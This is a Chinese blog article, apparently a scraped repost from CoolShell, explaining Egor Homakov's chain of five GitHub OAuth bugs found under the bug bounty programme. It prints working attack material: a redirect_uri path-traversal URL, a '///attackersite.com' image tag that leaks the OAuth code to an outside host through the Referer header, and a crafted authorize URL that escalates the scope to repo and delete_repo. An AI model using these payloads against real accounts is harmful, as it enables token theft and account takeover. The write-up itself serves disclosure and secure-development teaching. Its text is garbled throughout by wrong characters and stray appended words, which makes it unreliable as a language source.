从“黑掉Github”学Web安全开发

首先,这个故事要从Github OAuth讲起。因此,咱们须要先知道什么是OAuth。所谓OAuth就是说,第三方的应用能够经过你的受权而不用知道你的账号密码可以访问你在某网站的你本身的数据或功能。像Google,
Facebook,
Twitter等网站都提供了OAuth服务,提供OAuth服务的网站通常都有不少开放的API,第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能,可是,当用户在使用这些第三方应用的时候,这些第三方的应用会来访问用户的账户内的功能和数据,因此,当第三应用要干这些事的时候,咱们不能让第三方应用弹出一个对话框来问用户要他的账号密码,否则第三方的应用就把用户的密码给获取了,因此,OAuth协议会跳转到一个页面,让用户受权给这个第三方应用以某些权限,而后,这个权限受权的记录保存在Google/Facebook/Twitter上,并向第三方应用返回一个受权token,因而第三方的应用经过这个token来操做某用户账号的功能和数据时,就畅通无阻了。下图简单地说明了Twitter的OAuth的受权过程。html

从上面的流程图中,咱们能够看OAuth不论是1.0仍是2.0版本都是一个比较复杂的协议,因此,在Server端要把OAuth实现对并非一些容易事,其老是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。前端

OAuth的Callback

还须要注意的是,由于OAuth是须要跳到主站的网页上去让用户受权,当用户受权完后,须要跳转回原网页,因此,通常来讲,OAuth受权页都会带一个
redirect_url的参数,用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。通常来讲,redirect_uri这个参数须要在服务器端进行验证。git

你想一下,若是有人能够控制这个redirect_uri这个参数,那么,你就可让其跳转到别的网页上(可能会是个有恶意的网页)。若是你以为跳转到别的网页上也无所谓,那么你就错了。别忘了,当你对这个第三方的应用受权经过后,服务方会给第三方应用返回一个受权token,这个token会被加到那个redirect_uri参数后面而后跳转回去,若是这个redirect_uri被别有用心的人改一个恶意的网址后,这个token也就被转过去了,因而受权token也就被泄漏过去了。程序员

知道了这一切,咱们就能够理解Egor提的那5个bug是什么意思了。github

第一个Bug — 没有检查重定向URL中的/../

首先,咱们经过Github的 redirect_uri 的说明文档咱们能够看到这样的说明:正则表达式

而Github对于redirect_uri作了限制,要求只能跳回到shell

https://gist.github.com/auth/github/callback/,也就是说,域名是gist.github.com,目录是/auth/github/callback/,服务器端作了这个限制,看似很安全了。编程

可是,Egor发现,Github的服务器端并无验证.. /../../这样的状况。后端

因而,Egor至关于构造了一个下面这样的Redirect URL:浏览器

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

因而上面的URL就至关于:

https://gist.github.com/homakov/8820324?code=CODE

你能够看到,认证后的跳转网页转到了别的地方去(并不是是github限制的地方)——咱们知道Github的gist虽然是给你分享代码片断的,可是也能够用来定制本身的东西的(好比markdown),这个gist的网页固然是被Egor所控制的。

第二个BUG — 没有校验token

第一个bug其实并无什么,若是服务器端要校验一下token是否和以前生成的token的redirect_uri如出一辙,只要服务器作了这个验证,第一个bug彻底没有什么用处,可是,github的服务端并无验证。

这就是第二个bug,因而第一个和第二个bug组合起来成了一个至关有威力的安全漏洞。

也就是说,token的生成要考虑redirect_uri,这样,当URL跳转的时候,会把redirect_uri和token带到跳转页面(这里的跳转页面仍是github本身的),跳转页面的服务端程序要用redirect_uri来生成一个token,看看是否是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。通常来讲,对URL签名和对签名验证的因子包括,源IP,服务器时间截,session,或是再加个salt什么的。

第三个BUG — 注入跨站图片

如今,redirect_uri带着code,安全顺利地跳到了Egor构造的网页上:

https://gist.github.com/homakov/8820324?code=CODE

可是,这个是gist的网页,你没法在这个页面上运行前端(Javascript)或后端程序(Ruby——Github是Ruby作的),如今的问题是咱们怎么获得那个code,由于那个code虽而后带到了个人网页上来,但那个网页仍是github和用户本身的环境。

到这里,通常来讲,黑客会在这个页面上放一个诸以下面的一个连接,来引诱用户点击,:

<a href=http://hack.you.com/>私人照片</a>

这样,当页面跳转到黑客的网站上来后,你以前的网页上的网址会被加在http头里的 Refere 参数里,这样,我就能够获得你的token了。

可是,在gist上放个连接还要用户去点一下,这个太影响“用户体验”了,最好能嵌入点外部的东西。gist上能够嵌入外站的图片,可是github的开发人员并不是等闲之辈,对于外站的图片,其通通会把这些图片的url代理成github本身的url,因此,你很难搞定。

不过,咱们能够用一个很诡异的技巧:

<img src=”///attackersite.com”>

这个是什么玩意?这个是个URL的相对路径。可是为何会有三个///呢?呵呵。

像程序员同样的思考

这个时候,咱们须要以“程序员的编程思惟”来思考问题——若是你是程序员,你会怎么写校验URL的程序?你必定会想到使用正则表达式,或是用程序来匹配URL中的一些pattern。因而,

  • 对于绝对路径:你会匹配两个//,后面的可能会是
    user@host.com(user@是可选的),而后可能会有:<n>端口号,而后是/,后面是服务器的路径,再日后面应该是?后面带一些参数了。
  • 对于相对路径:就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。

好了,若是coolshell.cn网页中的<img src=>或<a href=>中用到的相对路径是
/host.com,那么浏览器会解释成:http://coolshell.cn/host.com,若是是///host.com,那么就应该被浏览器解释成

http://coolshell.cn///host.com。

可是,Chrome和Firefox,会把///host.com当成绝对路径,由于其正确匹配了绝对路径的scheme。若是你正在用Chrome/Firefox看这篇文章
,你能够看看下面的链接(源码以下):

CoolShell Test

1
<ahref=”///www.google.com”>CoolShell Test</a>

 

关键是,这个Chrome/Firefox的问题被标记成了Won’t
Fix,我勒个去,基本上来讲,后台的程序也有可能有这样的问题,对于Perl,Python,Ruby,Node.js,PHP带的URL检查的函数库都有这样的问题。

因而,咱们就可使用这样的方式给gist注入了一个第三方站点的图片(github的服务端没有察觉到(由于咱们前面说过大多数语言的URL检查库都会被
Bypass了),可是浏览器端把这个连接解释到了第三方的站点上),因而请求这个图片的http头中的refere
中包含用户当前页面的URL,也包含了用户受权的code。

到这里,黑客Egor已经拿到用户gist的权限并能够修改或查看用户私用的gist了。可是做者并无知足,他想要的更多。

第四个bug – Gist把github_token放在了cookie里

因而Egor在用户的cookie里找到了 github_token

可是这个token没什么用,由于受权的Scope只有gists。可是,这个token不该该放在用户端的cookie里,自己就是一个安全事故,这个东西只能放在服务端(关于Web开发中的安全事项,能够看看这篇文章《Web开发中的你须要了解的东西》)。

因而,Egor只能另谋出路。

第五个Bug – 自动给gist受权

由于gist是github自家的,Egor因此估计github想作得简单一点,当用户访问gist的时候,不会出弹出一个OAuth的页面来让用户受权,否则,用户就会很诧异,都是大家自家的东西,还要受权?因此,Egor猜想github应该是对gist作了自动受权,因而,Egor搞了这样的一个URL(注意其中的
redirect_uri中的scope )

 

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications

因而,这个redirect-uri不但帮黑客拿到了访问gist的token,并且还把受权token的scope扩大到了用户的代码库等其它权限。因而你就能够黑入用户的私有代码区了。

其它 & 感想

因而,做者从 Github Security Bug
Bounty
 拿到了USD
$4,000的奖励!Egor一共花了从下午2点到6点一共4个小时找到了这些Bug,平均一小时1000美刀。Egor还很得瑟的说,若是Github请他作安全顾问,他只收一小时USD
$400刀,这4个小时也就$1,600。呵呵。你们看看,这是多么有效率的赚钱方式。

下图是Github上的赏金猎手的排行榜(https://bounty.github.com/index.html#leaderboard)你能够上去挨个看看他们找到的问题,你会发现好些安全问题都很小,有些只能说是否是很规范的问题,Github都赏了几百刀。我查看了一下github的赏金政策,github赏金至少100刀,到5000刀不等。

让咱们扪心自问一下,咱们花了多少时间在玩那些“红包游戏”,而又搞到了多少红包?人家4个小时找了5个bug,挣了$4000美金。老天给了你我同样的时间,咱们用来抽几块钱的红包,人家用本身的技能来挣奖金。这就是人和人的差距。这就是所谓的效率——你能够移步看看我写的《加班与效率

 

摘自:http://coolshell.cn/articles/11021.html

相关文章
相关标签/搜索